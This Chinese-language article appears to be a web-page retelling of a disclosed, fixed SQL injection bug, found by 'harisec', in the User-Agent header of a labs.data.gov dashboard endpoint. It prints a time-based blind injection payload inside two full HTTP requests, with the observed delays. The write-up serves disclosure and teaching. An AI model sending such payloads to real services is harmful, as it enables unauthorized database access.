溫馨提示×

溫馨提示×

您好，登錄后才能下訂單哦！

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何分析 HTTP頭注入中的User-Agent注入

發(fā)布時間：2021-12-10 15:31:44 來源：億速云 閱讀：153 作者：柒染 欄目：大數(shù)據(jù)

如何分析 HTTP頭注入中的User-Agent注入，很多新手對此不是很清楚，為了幫助大家解決這個難題，下面小編將為大家詳細講解，有這方面需求的人可以來學(xué)習(xí)下，希望你能有所收獲。


漏洞信息
發(fā)現(xiàn)者：harisec

漏洞種類：SQL注入

危害等級：嚴重

漏洞狀態(tài)：已修復(fù)


前言
Harisec在以下網(wǎng)站中發(fā)現(xiàn)一個SQL注入漏洞，注入的位置在User-Agent。
https://labs.data.gov/dashboard/datagov/csv_to_json

漏洞再現(xiàn)
Harisec使用了盲注的方式來確認該漏洞

例如：將User-Agent的值設(shè)置為

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'

將導(dǎo)致服務(wù)器在25秒后響應(yīng)

這里，我們看一下具體的數(shù)據(jù)包內(nèi)容

GET /dashboard/datagov/csv_to_json HTTP/1.1Referer: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'X-Forwarded-For: 1X-Requested-With: XMLHttpRequestHost: labs.data.govConnection: Keep-aliveAccept-Encoding: gzip,deflateAccept: */*

如何分析 HTTP頭注入中的User-Agent注入

服務(wù)器在25秒后響應(yīng)，與User-Agent的值相同

將User-Agent的值改一下，改成9秒后響應(yīng)

GET /dashboard/datagov/csv_to_json HTTP/1.1Referer: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(3*3),0))OR'X-Forwarded-For: 1X-Requested-With: XMLHttpRequestHost: labs.data.govConnection: Keep-aliveAccept-Encoding: gzip,deflateAccept: */*

如何分析 HTTP頭注入中的User-Agent注入


漏洞影響

該漏洞可以使攻擊者注入惡意的SQL語句。

看完上述內(nèi)容是否對您有幫助呢？如果還想對相關(guān)知識有進一步的了解或閱讀更多相關(guān)文章，請關(guān)注億速云行業(yè)資訊頻道，感謝您對億速云的支持。

向AI問一下細節(jié)

免責(zé)聲明：本站發(fā)布的內(nèi)容（圖片、視頻和文字）以原創(chuàng)、轉(zhuǎn)載和分享為主，文章觀點不代表本網(wǎng)站立場，如果涉及侵權(quán)請聯(lián)系站長郵箱：is@yisu.com進行舉報，并提供相關(guān)證據(jù)，一經(jīng)查實，將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI
助
手